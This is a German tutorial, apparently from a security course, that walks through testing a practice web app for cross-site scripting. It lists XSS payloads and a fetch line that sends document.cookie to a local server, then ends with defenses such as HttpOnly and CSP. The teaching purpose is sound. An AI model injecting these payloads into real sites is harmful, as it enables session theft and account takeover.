Einleitung

Neben der SQL Injection gibt es weitere Angriffsvektoren, bei denen schadhafter Code in eine Webapplikation eingeschleust wird. Eine dieser Formen ist das sogenannte Cross Site Scripting (XSS).

Beim Cross Site Scripting (XSS) wird Schadcode in eine Webapplikation eingeschleust, der im Browser des Benutzers oder eines Opfers ausgeführt wird. Das Ziel so eines Angriffs ist also nicht die Webapplikation, der Webserver oder die Datenbank selbst, sondern der Browser eines anderen Benutzers.

Deine Eingabe wird hier dargestellt:

Beim XSS geht es nun nicht darum, dass HTML im eigenen oder im Browser eines Opfers ausgeführt wird, sondern darum, dass Scriptcode wie beispielsweise JavaScript ausgeführt wird. Was das bedeutet, wirst du gleich sehen.

Testen auf Sicherheitsmaßnahmen

Als Erstes musst du prüfen, ob die Webapplikation des LUPFERs anfällig für XSS ist. Zunächst muss festgestellt werden, an welchen Stellen eine Webapplikation Benutzereingaben zulässt, die in die Webseite eingefügt werden. Das geschieht im Rahmen der Reconnaissance.

Bei der Webapplikation des LUPFERs gibt es also zwei Seiten, die auf den Angriffsvektor XSS untersucht werden sollten. In beiden Fällen sind Benutzereingaben über Eingabefelder möglich.

Es ist jedoch wichtig zu beachten, dass dies nicht die einzige Möglichkeit ist. Benutzereingaben können auch über Parameter in GET-Anfragen erfolgen. Wenn es beispielsweise eine Suchfunktion auf einer Webseite gibt, kann der Suchbegriff theoretisch in einer GET-Anfrage als Wert eines Schlüssels übergeben werden. Eine Anfrage, um nach dem Suchbegriff lupfer zu suchen, sähe dann zum Beispiel so aus:

GET /search?query=lupfer

Würde die Webseite den Suchbegriff ungefiltert in den Seiteninhalt einbauen, könnte dies potenziell eine XSS-Schwachstelle darstellen.

Im nächsten Schritt wirst du feststellen, ob die Benutzereingaben unverändert in die Webapplikation eingefügt werden. Dafür gibst du Zeichen ein, die in HTML eine besondere Bedeutung haben und beobachtest, wie sie in den Webseiteninhalt übernommen werden.

Man kann natürlich auch andere HTML-Elemente oder eben HTML-Entitäten nutzen. Dabei erleichtert es die Sache, wenn man unmittelbar sieht, ob der Browser HTML-Elemente oder HTML-Entitäten interpretiert und rendert.

Jetzt kommt der letzte Schritt: Nun wird getestet, ob du auch Scriptcode einfügen kann, der von der Webapplikation interpretiert wird. Mögliche Payloads findest du in Cheat Sheets aus dem Internet.

Die Webseite /usermanagement ist also anfällig für XSS, weil sie Benutzereingaben akzeptiert und diese unverändert in die Webseite eingefügt werden. Das ermöglicht dann über HTML-Entitäten JavaScript einzuschleusen, das ausgeführt wird. Hier ist noch eine kurze Erklärung, was bei den erfolgreichen Payloads passiert:

Payload Erklärung
<script>alert('XSS')</script> Ein script-Element wird eingefügt. Die darin enthaltene Anweisung alert('XSS'), eine Dialogbox zu öffnen, wird im Browser ausgeführt.
<input autofocus onfocus=alert('XSS')> Ein input-Element fügt ein Eingabefeld in die Webseite ein. Das Attribut autofocus sorgt dafür, dass dieses Eingabefeld beim Laden der Seite automatisch den Fokus erhält. Mit dem Attribut onfocus wird ein Event-Handler definiert, der den JavaScript-Code alert('XSS') ausführt, sobald das Eingabefeld den Fokus erhält. Dadurch öffnet sich eine Dialogbox.
<svg/onload=alert(String.fromCharCode(88,83,83))> Ein svg-Element fügt einen grafischen Inhalt ein. Das Attribut onload definiert einen Event-Handler, der ausgelöst wird, sobald das Element geladen wird. Dann wird der JavaScript-Code alert(String.fromCharCode(88,83,83)) ausgeführt und eine Dialogbox mit dem Text XSS anzeigt. Die Funktion String.fromCharCode() wandelt die angegebenen Unicode-Zahlen (88, 83, 83) in entsprechende Zeichen um.

Die Beispiele sollen verdeutlichen, dass unzählige Payloads möglich sind, bei denen viele verschiedene HTML-Elemente genutzt werden können. Der Grund ist, dass nicht jeder Payload immer funktioniert. So werden Filter eingesetzt, die zum Beispiel verhindern, dass ein Nutzer ein script-Element einfügen kann. Warum sollte ein Nutzer auch ausführbaren Code eingeben können?

Exploitation

Nachdem klar ist, dass die Webapplikation anfällig für XSS ist, stellt sich die Frage, ob ein Angreifer dies ausnutzen könnte. Das Öffnen einer Dialogbox verursacht schließlich keinen großen Schaden.

Die Reconnaissance hatte ergeben, dass die Webapplikation einen Session-Cookie im Browser des Benutzers speichert. Da es grundsätzlich möglich ist, über JavaScript Cookies auszulesen, wirst du nun testen, ob du den Session-Cookie stehlen kannst. Dafür musst du einen Payload etwas anpassen und die Eigenschaft document.cookie nutzen, das den Zugriff auf die Cookies der aktuellen Webseite ermöglicht:

<script>alert(document.cookie)</script>

Wenn du einen neuen Benutzer mit dem Payload als Username anlegst, dann öffnet sich wieder eine Dialogbox. Sie enthält aber keinen Text und damit keinen Cookie. Wenn du wissen möchtest, woran das liegt, dann kannst du dies mit einem eigenen Cookie testen. Gehe dabei folgendermaßen vor:

  1. Starte die Dev Tools deines Browsers, rufe den Tab Storage auf und lasse dir die Cookies der Webapplikation des LUPFERs unter dem Cookie-Bereich anzeigen.
    Cookies in the dev tools
    Aufrufen von Cookies in den Entwicklungstools
  2. Füge einen neuen Cookie hinzu.
    Add a cookie
    Hinzufügen eines Cookies über die Entwicklungstools
  3. Passe die Bezeichnung und den Wert des Cookies an.
    Edit a cookie
    Ändern eines Cookies über die Entwicklungstools
  4. Lege anschließend erneut einen Benutzer mit dem Username &lt;script&gt;alert(document.cookie)&lt; an.

Wie du siehst, wird dann in der Dialogbox dein eigener Cookie angezeigt. Warum lässt sich nun zwar dein eigener Cookie, nicht aber der Session-Cookie auslesen? Das verrät ein Blick in die Details der Cookies:

  • Beim Session-Cookie hat das Attribut HttpOnly den Wert true. Es ist damit nur über HTTP-Anfragen zugänglich.
  • Dein eigener Cookie hat dagegen das Attribut HttpOnly nicht gesetzt. Damit ist es über JavaScript zugänglich und kann über die JavaScript-Eigenschaft document.cookie ausgelesen werden.

Die Webapplikation hat also eine Sicherheitsmaßnahme gegen XSS implementiert, indem sie das HttpOnly-Attribut für Cookies setzt und damit verhindert, dass sie über JavaScript zugänglich sind.

Lass uns dennoch einmal schauen, wie ein Angreifer theoretisch deinen eigenen Cookie stehlen könnte. Dafür müsste er es auslesen und an seinen eigenen Server senden. Hier ist eine Anleitung, wie dies gelingen kann:

  1. Starte lokal einen Server, der auf einem beliebigen Port port lauscht:
    python3 -m http.server <port>
  2. Füge in den Dev Tools deinen eigenen Cookie zur Webseite hinzu.
  3. Lege einen neuen Benutzer unter /usermanagement an, wobei folgender Payload enthalten sein sollte:
    <script>fetch('http://localhost:<port>/?'+document.cookie)</script>

Damit wird dein eigener Cookie also an deinen eigenen Server gesendet. Wie passiert das?

  • Das script-Element fügt JavaScript in die Webseite ein.
  • Die fetch-Funktion initiiert eine GET-Anfrage an deinen lokalen Server, der auf dem localhost mit Port port läuft.
  • Die GET-Anfrage enthält mit ? einen URL-Parameter, dem mit +document.cookie Cookies angehängt werden.

Der Browser sendet also eine Anfrage an den Localhost und überträgt dabei als URL-Parameter die Cookies, die über JavaScript zugänglich sind. Dies kannst du im Terminal sehen.

Arten von XSS

Auch wenn die Webapplikation also anfällig für XSS ist, konntest du keinen erfolgreichen Angriff ausführen und keine sensiblen Daten ausleiten. Bevor du noch einen weiteren Angriffsvektor kennenlernst, soll es hier kurz um die verschiedenen Arten von XSS gehen. Folgende Typen werden unterschieden:

  • Stored XSS: "Stored" bedeutet, dass der Schadcode persistent gespeichert wird. Wie bei der Webapplikation des LUPFERs wird dabei über eine HTTP-Anfrage Schadcode üblicherweise in einer Datenbank gespeichert. Wenn dieser Schadcode unverändert auf der Webseite eingefügt wird, sobald ein beliebiger Benutzer sie aufruft, wird der Schadcode im Benutzer-Browser ausgeführt.
    Stored XSS
    Stored XSS
  • Reflected XSS: Der Begriff "Reflected" beschreibt, dass der Schadcode nicht in der Webapplikation gespeichert wird, sondern dynamisch verarbeitet und an den Browser des Opfers zurückgeschickt wird. Ein Angreifer kann dies erreichen, indem er eine manipulierte URL erstellt, die einen schädlichen Payload enthält. Wenn das Opfer diese präparierte URL aufruft, verarbeitet die Webanwendung den Schadcode und sendet ihn als Teil der HTTP-Antwort zurück. Dadurch wird der Code im Browser des Opfers ausgeführt, wie es in der Abbildung unten dargestellt ist.
    Reflected XSS
    Reflected XSS
  • DOM Based XSS: Dies ist eine Unterart des Reflected XSS, bei der die Manipulation direkt im Browser des Opfers erfolgt. Dafür ist es erforderlich, dass der Angreifer eine Datenquelle manipulieren kann, die clientseitig von JavaScript verarbeitet wird. Anschließend muss er muss das Opfer dazu bringen, die Webseite so aufzurufen, dass der schädliche Code ausgeführt wird. Häufig geschieht dies über eine präparierte URL.

Als Folge von XSS können sensible Informationen wie Anmeldeinformationen oder Cookies gestohlen werden, was dem Angreifer ermöglichen kann, sich als sein Opfer auszugeben. Wie du bereits gelernt hast, lässt sich XSS verhindern. Wichtige Sicherheitsmaßnahmen sind dabei:

  1. Eingabevalidierung und -behandlung: Dabei wird vorgegeben, was für Benutzereingaben erlaubt sind. Entspricht eine Eingabe nicht den zulässigen Werten, Formaten oder Längen, wird sie abgelehnt. Es ist auch möglich, dass potenziell gefährliche Zeichen wie < und > entfernt oder in die HTML-Entitäten &lt; bzw. &gt; umgewandelt werden.
  2. Ausgabe-Encoding: Dabei werden Eingaben als Text und nicht als HTML interpretiert. Das bedeutet, dass < und > als &lt; bzw. &gt; kodiert werden, um Probleme bei ihrer Interpretation zu vermeiden.
  3. Cookies sicher setzen: Über das HttpOnly-Attribut für Cookies wird verhindert, dass sie über JavaScript zugänglich sind.
  4. Content Security Policy (CSP): Dabei wird definiert, welche Ressourcen von der Webseite geladen werden dürfen. Dadurch lässt sich die Ausführung von nicht autorisierten Skripten verhindert.